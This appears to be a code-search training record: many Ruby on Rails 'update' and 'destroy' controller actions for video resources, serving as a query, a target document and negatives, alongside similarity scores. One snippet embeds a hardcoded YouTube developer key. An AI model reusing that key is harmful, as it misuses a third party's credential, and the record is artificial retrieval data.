"def update\n @video = Video.find(params[:id])\n respond_to do |format|\n if @video.update_attributes(params[:video]) and @video.attach_covers\n format.html { redirect_to videos_path, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @jeux_video.update(jeux_video_params)\n @jeux_video.create_activity :update, owner: current_user, read: false\n format.html { redirect_to @jeux_video, notice: 'Jeux video was successfully updated.' }\n format.json { render :show, status: :ok, location: @jeux_video }\n else\n format.html { render :edit }\n format.json { render json: @jeux_video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to videos_path, notice: 'Video was successfully updated.' }\n else\n format.html { render :edit }\n end\n end\n end",
"def update\n @c_video = CVideo.find(params[:id])\n\n respond_to do |format|\n if @c_video.update_attributes(params[:c_video])\n format.html { redirect_to @c_video, notice: 'The video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @c_video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to board_video_path(@board, @video), notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n @publication = Publication.find_by_published_id_and_published_type(@video.id, 'Video')\n @publication.update(:content => @video.content + @video.name + @video.description + @video.tag_list.join(' '))\n format.html { redirect_to videos_path, notice: 'El video fue actualizado correctamente.' }\n format.json { head :no_content }\n else\n format.html { render action: 'list' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @video = Video.find(params[:id])\n\n flash[:success] = 'Video was successfully updated.' if @video.update_attributes(params[:video])\n respond_with(current_user,@video)\n end",
"def update\n respond_to do |format|\n if @table_video.update(table_video_params)\n format.html { redirect_to @table_video, notice: 'Table video was successfully updated.' }\n format.json { render :show, status: :ok, location: @table_video }\n else\n format.html { render :edit }\n format.json { render json: @table_video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @video = Video.find(params[:id])\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n\n if params[:photo_attachment]\n @video.photo_attachment.delete if @video.photo_attachment\n Attachment.create(media: params[:photo_attachment], attachmentable: @video) \n end\n\n if params[:video_attachment]\n @video.video_attachment.delete if @video.video_attachment\n Attachment.create(media: params[:video_attachment], attachmentable: @video) \n end\n\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\t\trespond_to do |format|\n\t\t\tif @youtube_video.update(youtube_video_params)\n\t\t\t\tformat.html { redirect_to youtube_videos_path, notice: 'Youtube video was successfully updated.' }\n\t\t\t\tresponse = { status: 200 }\n\t\t\t\tformat.json { render json: response, status: response[:status] }\n\t\t\telse\n\t\t\t\t@youtube_video_annotations = @youtube_video.youtube_video_annotations.sort\n\t\t\t\t@youtube_video_cards = @youtube_video.youtube_video_cards.sort\n\t\t\t\tformat.html { render action: 'edit' }\n\t\t\t\tformat.json { render json: @youtube_video.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def update\n respond_to do |format|\n if @video.update_attributes(params[:text]) && @resource.update_attributes(params[:resource])\n format.js\n end\n end\n end",
"def edit\n\n @project = Project.user_readable(current_user, params[:project_id])\n\n if @project\n\n @video = @project.videos.find(params[:id])\n @aws_signature_url = root_url + \"signatures/aws_uploads\"\n respond_to do |format|\n format.html\n format.json { render :json => {:video_id => @video.id, :aws_videos_path => @video.videos_path}, :status => :ok }\n end\n\n else\n not_authorized\n end\n\n\n\n end",
"def edit\n authorize! :update, @videos\n @videos = Video.find_by(id: params[:id])\n end",
"def update\n respond_to do |format|\n if @embedded_attachment.update(embedded_attachment_params)\n format.html { redirect_to @embedded_attachment, notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @embedded_attachment }\n else\n format.html { render :edit }\n format.json { render json: @embedded_attachment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @video = Video.find(params[:id])\n\n @video.actors = (params[:video].delete(:actors) || '').split(', ').collect { |name| name.strip!; Actor.find_or_create_by_name(:name => name) }\n @video.genres = (params[:video].delete(:genres) || '').split(', ').collect { |name| name.strip!; Genre.find_or_create_by_name(:name => name) }\n @video.directors = (params[:video].delete(:directors) || '').split(', ').collect { |name| name.strip!; Director.find_or_create_by_name(:name => name) }\n @video.update_attributes(params[:video])\n @video.save\n\n respond_to do |format|\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n @llaves = params[:parts].keys\n @vals = params[:parts].values\n i = 0\n\t\t\t\tparams[:parts].each do |part|\n\t\t\t\t\t\n if !Participante.find(@llaves[i].to_i).update(participante_params(ActionController::Parameters.new(@vals[i])))\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n i = i + 1\n end\n\n format.html { redirect_to @video, notice: 'El video se ha actualizado con éxito.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @raw_video = RawVideo.find(params[:id])\n\n respond_to do |format|\n if @raw_video.update_attributes(params[:raw_video])\n format.html { redirect_to(@raw_video, :notice => 'Raw video was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @raw_video.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n\n\n @video = Video.find(params[:id])\n\n\n @url = params[:video][:url]\n\n require 'uri'\n\n\n if(@url.downcase.include? 'youtube.com')\n ##create ways to catch if user is using \n query_string = URI.parse(params[:video][:url]).query\n parameters = Hash[URI.decode_www_form(query_string)]\n puts parameters['v'] # => aNdMiIAlK0g\n video_id = parameters['v']\n elsif (@url.downcase.include? 'y2u.be')\n puts video_id = @url.match(/\\.be\\/(.+)$/)[1]\n @url = 'http://www.youtube.com/watch?v='+video_id\n puts params[:video][:url] = @url \n elsif (@url.downcase.include? 'youtu.be')\n puts video_id = @url.match(/\\.be\\/(.+)$/)[1]\n @url = 'http://www.youtube.com/watch?v='+video_id\n puts params[:video][:url] = @url\n end\n \n \n\n @yt_client = YouTubeIt::Client.new(:dev_key => \"AI39si6hkRNCL77mzzv1LycIohZtksVIi0L5S9lQMx6crqOfGdyKcB2U2M5WHeNBUT2VLgTVzjR9rxPa1RJZw-sZ6wqtnaZ7AA\")\n @video.youtube_id = video_id # => aNdMiIAlK0g\n\n this_video = @yt_client.video_by(video_id)\n\n\n @video.duration = this_video.duration \n\n\n\n\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @empresa = Empresa.find(params[:empresa_id]) \n @producto = @empresa.productos.find(params[:producto_id])\n @item_producto = @producto.item_productos.find(params[:item_producto_id])\n @videos_producto = @item_producto.videos_productos.find(params[:id]) \n respond_to do |format|\n if @videos_producto.update(videos_productosparams)\n format.html { redirect_to empresa_producto_item_producto_videos_productos_path(@empresa,@producto,@item_producto,@videos_producto), notice: 'Videos producto was successfully updated.' }\n format.json { render :show, status: :ok, location: @videos_producto }\n else\n format.html { render :edit }\n format.json { render json: @videos_producto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @adm_video.update(adm_video_params)\n format.html { redirect_to @adm_video, notice: t('videos.update_success') }\n format.json { render :show, status: :ok, location: @adm_video }\n else\n format.html { render :edit }\n format.json { render json: @adm_video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @album = Album.find(params[:video][:album_id])\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @album, notice: 'Video editado satisfactoriamente.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @video = Video.find(params[:id])\n\n if params[:default]\n @all_videos = Video.where(event_id: @video.event_id, default: true)\n @all_videos.each do |vid|\n vid.default = false\n vid.save!\n end\n end\n\n respond_to do |format|\n if @video.update_attributes(default: params[:default])\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @asset_id = args[:asset_id] if args.key?(:asset_id)\n @content_type = args[:content_type] if args.key?(:content_type)\n @id = args[:id] if args.key?(:id)\n @is_partner_uploaded = args[:is_partner_uploaded] if args.key?(:is_partner_uploaded)\n @kind = args[:kind] if args.key?(:kind)\n @origin = args[:origin] if args.key?(:origin)\n @status = args[:status] if args.key?(:status)\n @third_party_claim = args[:third_party_claim] if args.key?(:third_party_claim)\n @time_created = args[:time_created] if args.key?(:time_created)\n @time_status_last_modified = args[:time_status_last_modified] if args.key?(:time_status_last_modified)\n @video_id = args[:video_id] if args.key?(:video_id)\n @video_title = args[:video_title] if args.key?(:video_title)\n @video_views = args[:video_views] if args.key?(:video_views)\n end",
"def update(id, params = {})\n vimeo_video = Vimeo::Advanced::Video.new(@api_key, @api_secret, @token_hash)\n\n return unless id\n puts \"Vimeo: Updating #{id}\"\n\n vimeo_video.set_description(id, params[:description]) if params[:description]\n vimeo_video.set_title(id, params[:title]) if params[:title]\n vimeo_video.clear_tags(id) if params[:tags]\n vimeo_video.add_tags(id, params[:tags]) if params[:tags]\n rescue exception_block\n end",
"def update\n @video = Video.find(params[:id])\n video_file = params[:video_file]\n img_file = params[:img_file]\n\n if video_file != nil\n videoid = Utils.videoid\n @video.video_url = \"http://#{Constants::UPLOAD_IP}/files/videos/\"+Utils.upload(video_file, videoid)\n end\n\n if img_file != nil\n @video.video_img =\"http://#{Constants::UPLOAD_IP}/files/images/\"+Utils.upload(img_file, nil)\n end\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n format.html { redirect_to channel_videos_path }\n else\n format.html { render action: \"new\" }\n end\n end\n end",
"def update\n respond_to do |format|\n if @medio_video.update(medio_video_params)\n format.html { redirect_to @medio_video, notice: 'Medio video was successfully updated.' }\n format.json { render :show, status: :ok, location: @medio_video }\n else\n format.html { render :edit }\n format.json { render json: @medio_video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @game_video.update(game_video_params)\n format.html { redirect_to @game_video, notice: 'Game video was successfully updated.' }\n format.json { render :show, status: :ok, location: @game_video }\n else\n format.html { render :edit }\n format.json { render json: @game_video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { \n flash[:notice] = \"Vídeo atualizado!\"\n redirect_to(:action => 'show', :id => @video.id, :palestrante_id => @palestrante.id)\n }\n format.json { head :no_content }\n else\n format.html { \n @agendas = Agenda.recentes\n @palestrantes = Palestrante.order('nome ASC')\n render action: 'edit' \n }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @teach_video = TeachVideo.find(params[:id])\n\n respond_to do |format|\n if @teach_video.update_attributes(params[:teach_video])\n format.html { redirect_to @teach_video, notice: 'Teach video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @teach_video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @record_video = RecordVideo.find(params[:id])\n\n respond_to do |format|\n if @record_video.update_attributes(params[:record_video])\n format.html { redirect_to @record_video, notice: 'Record video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @record_video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n #remove bypassapi from the params because it's not in the database\n newparams = movie_params.delete_if{|k,v| k == \"bypassapi\"}\n respond_to do |format|\n if @movie.update(newparams)\n format.html { redirect_to movies_url, notice: 'Movie was successfully updated.' }\n format.json { render :show, status: :ok, location: @movie }\n else\n format.html { render :edit }\n format.json { render json: @movie.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @traditional_route_video.update(traditional_route_video_params)\n format.html { redirect_to @traditional_route_video, notice: 'Traditional route video was successfully updated.' }\n format.json { render :show, status: :ok, location: @traditional_route_video }\n else\n format.html { render :edit }\n format.json { render json: @traditional_route_video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @videogame.update(videogame_params)\n format.html { redirect_to @videogame, notice: 'Videogame was successfully updated.' }\n format.json { render :show, status: :ok, location: @videogame }\n else\n format.html { render :edit }\n format.json { render json: @videogame.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @video_model = VideoModel.find(params[:id])\n\n respond_to do |format|\n if @video_model.update_attributes(params[:video_model])\n flash[:notice] = 'VideoModel was successfully updated.'\n format.html { render :action => \"edit\" }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @video_model.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @videogame.update(videogame_params)\n format.html { redirect_to @videogame, notice: \"Videogame was successfully updated.\" }\n format.json { render :show, status: :ok, location: @videogame }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @videogame.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_video_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: MediaVideosApi.update_video ...\"\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling MediaVideosApi.update_video\"\n end\n # resource path\n local_var_path = \"/media/videos/{id}\".sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(opts[:'video_resource'])\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: MediaVideosApi#update_video\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def update!(**args)\n @allowed_options = args[:allowed_options] if args.key?(:allowed_options)\n @claimed_video_options = args[:claimed_video_options] if args.key?(:claimed_video_options)\n @id = args[:id] if args.key?(:id)\n @kind = args[:kind] if args.key?(:kind)\n end",
"def update\n @kuaibovideo = Kuaibovideo.find(params[:id])\n\n respond_to do |format|\n if @kuaibovideo.update_attributes(params[:kuaibovideo])\n format.html { redirect_to @kuaibovideo, notice: 'Kuaibovideo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @kuaibovideo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n @admin = params[:user]\n\n if @video.update(video_params)\n format.html { redirect_to \"/show_video/#{@artist_data.id}/adm/atualizar\"}\n format.json { render :show, status: :ok, location: @video }\n else\n format.js { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @training_video.update(training_video_params)\n format.html { redirect_to actions: \"index\", notice: 'Training video was successfully updated.' }\n format.json { render :show, status: :ok, location: @training_video }\n else\n format.html { render :edit }\n format.json { render json: @training_video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n #@video.added_by=current_user.id\n @video.add_labels(params[:Label])\n format.html { redirect_to [:media, @video] }\n format.json { render :show, status: :ok, location: [:media, @video] }\n else\n format.html { render :edit }\n format.json { render json: [:media, @video.errors], status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.7237686",
"0.68665653",
"0.68665653",
"0.68647146",
"0.68624663",
"0.68624663",
"0.68624663",
"0.68624663",
"0.68624663",
"0.68624663",
"0.68624663",
"0.6819483",
"0.6819483",
"0.6819483",
"0.6819483",
"0.6819483",
"0.67994",
"0.67747194",
"0.67690694",
"0.672215",
"0.6719619",
"0.6719619",
"0.6719619",
"0.6719619",
"0.6719619",
"0.6719619",
"0.6719619",
"0.6719619",
"0.6719619",
"0.6719619",
"0.6719619",
"0.6719619",
"0.6719619",
"0.67195475",
"0.6719099",
"0.6681994",
"0.6679289",
"0.6570174",
"0.6547622",
"0.6546206",
"0.65452045",
"0.6512128",
"0.650941",
"0.6506495",
"0.650547",
"0.650547",
"0.6503236",
"0.6500729",
"0.6492399",
"0.64744294",
"0.6461116",
"0.64415586",
"0.6437212",
"0.6427045",
"0.6424544",
"0.6407642",
"0.640436",
"0.6389696",
"0.6362753",
"0.6358857",
"0.6335328",
"0.632809",
"0.63153845",
"0.62706757",
"0.6258029",
"0.6257354",
"0.62243885",
"0.6208527",
"0.61804414",
"0.61789834",
"0.6176326",
"0.6174242",
"0.6168848",
"0.616085",
"0.61539084",
"0.6152037",
"0.6144849",
"0.613065",
"0.6100911",
"0.61005986",
"0.6091273",
"0.60745186",
"0.60604566",
"0.6058916",
"0.6044471",
"0.60378546",
"0.60373104",
"0.6029195",
"0.6028563",
"0.6020018",
"0.6009138",
"0.60060763",
"0.5976882",
"0.5967632",
"0.59633374",
"0.5958803",
"0.59521586",
"0.5891943",
"0.5889649",
"0.5888707"
] |
0.65009505
|
47
|
DELETE /videos/1 DELETE /videos/1.json
|
def destroy
@video.destroy
respond_to do |format|
format.html { redirect_to videos_url, notice: 'Video excluido com sucesso.' }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.json { head :ok }\n end\n end",
"def destroy\n\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n s3 = $S3\n bucket = s3.buckets['tubeyou.video']\n bucket.objects[@video.name].delete\n\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n render json: @video, :status => :ok\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to media_videos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Video successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Deleted video listing.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to today_videos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to user_videos_url(current_user) }\n format.json { head :no_content }\n end\n end",
"def destroy\n Video.find(params[:id]).destroy\n redirect_to \"/videos\"\n end",
"def destroy\n @video = Video.find_by_hash_permalink_id(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to(videos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to(videos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to(videos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to(videos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @video = Video.find(params[:id])\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url }\n format.xml { head :ok }\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Video fue eliminado correctamente.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Video was successfully destroyed.' }\n format.json { head :no_video }\n end\n end",
"def destroy\n @c_video = CVideo.find(params[:id])\n @c_video.destroy\n\n respond_to do |format|\n format.html { redirect_to c_videos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @video = Video.find(params[:id])\r\n @video.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(videos_url) }\r\n format.xml { head :ok }\r\n end\r\n end",
"def destroy\n @video = @user.videos.find(params[:id])\n @video.destroy\n respond_to do |format|\n format.html { redirect_to user_videos_url(@user), notice: 'Video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Vídeo deletado com sucesso' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to project_videos_url, notice: 'Video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_video(video_id, method = HTTP_DELETE)\n if method == HTTP_DELETE\n auth_connection method, \"/api/videos/#{video_id}.xml\"\n else\n request_xml = %{\n <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n <vzaar-api>\n <_method>delete</_method>\n </vzaar-api>\n }\n auth_connection method, \"/api/videos/#{video_id}.xml\", request_xml\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to home_admin_path, notice: '视频删除成功!' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to root_path, notice: 'Video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n render nothing: true, status: 200\n end",
"def destroy\n @user_video = UserVideo.find(params[:id])\n @user_video.destroy\n\n respond_to do |format|\n format.html { redirect_to user_videos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to videos_url, notice: 'Review was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @adm_video.destroy\n respond_to do |format|\n format.html { redirect_to adm_videos_url, notice: t('videos.destroy_success') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @record_video = RecordVideo.find(params[:id])\n @record_video.destroy\n\n respond_to do |format|\n format.html { redirect_to record_videos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @raw_video = RawVideo.find(params[:id])\n @raw_video.destroy\n\n respond_to do |format|\n format.html { redirect_to(raw_videos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n respond_to do |format|\n format.html { redirect_to channel_videos_url }\n end\n end",
"def destroy\n authorize! :destroy, @admin_video\n @admin_video.destroy\n respond_to do |format|\n format.html { redirect_to admin_videos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to @competition, notice: 'Video eliminado.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @medio_video.destroy\n respond_to do |format|\n format.html { redirect_to medio_videos_url, notice: 'Medio video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @video = Video.find(params[:id])\n @video.destroy\n\n redirect_to '/lifts', notice: \"video deleted\"\n end",
"def destroy\n @kuaibovideo = Kuaibovideo.find(params[:id])\n @kuaibovideo.destroy\n\n respond_to do |format|\n format.html { redirect_to kuaibovideos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n\t\t@video = Video.find(params[:id])\n\t\t@video.destroy\n\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to(videos_url) }\n\t\t\tformat.xml { head :ok }\n\t\tend\n\tend",
"def destroy\n @video.destroy\n respond_to do |format|\n format.html { redirect_to ({:action => \"index\", :palestrante_id => @palestrante.id}) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @teach_video = TeachVideo.find(params[:id])\n @teach_video.destroy\n\n respond_to do |format|\n format.html { redirect_to teach_videos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @videoo.destroy\n respond_to do |format|\n format.html { redirect_to videoos_url, notice: 'Videoo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @saved_video.destroy\n respond_to do |format|\n format.html { redirect_to saved_videos_url, notice: 'Saved video was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
